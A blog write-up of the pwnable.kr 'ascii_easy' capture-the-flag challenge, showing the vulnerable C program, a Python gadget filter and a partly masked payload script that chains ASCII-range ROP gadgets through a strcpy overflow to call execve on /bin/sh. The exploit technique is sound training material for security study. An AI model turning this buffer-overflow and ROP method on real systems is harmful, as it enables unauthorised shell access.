January 20, 2018

pwnable.kr ascii_easy write-up

rule of pnwable.kr

To comply with the rule 3, I masked some things that is needed to solve this challenge.




challenge description of pwnable.kr ascii_easy

I thought that I may needs ROP, not RTL.

Because, jump to the beginning of a function is required to use RTL, but ROP doesn't have to do that.




run program at pwnable.kr ascii_easy

When I run it, I got the message "triggering bug ...". This program requires one argument.




<ascii_easy.c>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
    vuln(argv[1]);

}


the mmap in the ascii_easy.c maps libc-2.15.so on specific memory location(0x5555e000). So, I can use functions that is in libc-2.15.so like using static library. And the strcpy() function in the vuln() that doesn't check inputted value causes overflow vulnerability.

Initially, I tried to put /bin/sh as an argument to the system function, but the system() function did not work. It only causes a segmentation fault. So I used execve() function.

This is the address to use.
- /bin/sh : 0x556BB7EC : 0x5555e000+0x15D7EC)
- execve : 0x556165E0 : 0x5555e000+0xF74B0)

And to make a ROP chain, I extracted ROP gadgets from libc.2.15.so(Link).

But, It's not enough. is_ascii() function checks that the inputted value is in ascii code range. So I filtered out addresses outside of the ASCII code range with below python code I made.

<fileter.py>
from pwn import *

rstText = ""
with open("./asm.txt", "r") as f1:

text = f1.readlines()
for i in range(len(text)):
if(text[i][0:2] == "0x"):
tmpText = hex(int(text[i][2:11], 16) + 0x5555e000)
tmpText = tmpText[2:]
if (0x20 <= int(tmpText[0:2], 16) <= 0x7f) & (0x20 <= int(tmpText[2:4], 16) <= 0x7f) & (0x20 <= int(tmpText[4:6],16) <= 0x7f) & (0x20 <= int(tmpText[6:8],16) <= 0x7f):
rstText += (tmpText+text[i][11:])

with open("./asm_filtered.txt", "w") as f2:
f2.write(rstText)





Then i made ROP chain as below. It was difficult for me. It bothered me for a long time and I realized again that I am having stupid fool head.

There should be two 0x0 under /bin/sh and the distance between execve and /bin/sh should be 8.

ROP chain of pwnable.kr ascii_easy




The above image is implemented as the following code.

<payload.py>
def addPrifix(inputStr, prefix="\\x"):
rstStr =""
for i in range(len(inputStr)/2, 0, -1):
rstStr += prefix+inputStr[i*2-2:i*2]
return rstStr

payload = "a"*28
payload = payload + addPrifix("555f3565")
payload = payload + addPrifix("555f3555")
payload = payload + "aaaa"
payload = payload + "aaaa"
payload = payload + addPrifix("555f3555")
payload = payload + addPrifix("5556682b")
payload = payload + "aaaa"
payload = payload + addPrifix("556d2a51")
payload = payload + addPrifix("60707060") #1
payload = payload + addPrifix("556f4525")
payload = payload + addPrifix("5556682b")
payload = payload + addPrifix("556d2a51")
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■ #3
payload = payload + ■■■■■■■■■■
payload = payload + addPrifix("5556682b")
payload = payload + addPrifix("555f3555")
payload = payload + addPrifix("5556682b")
payload = payload + addPrifix("25286F78") #1
payload = payload + addPrifix("555f3d4d")
payload = payload + "aaaa"
payload = payload + ■■■■■■■■■■ #2
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■ #3
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■
payload = payload + ■■■■■■■■■■
payload = payload + addPrifix("555e5132")
payload = payload + addPrifix("555f3565")
payload = payload + addPrifix("556e4042")
payload = payload + addPrifix("5563704c")

print payload




get flag at pwnable.kr ascii_easy

The flag obtained successfully.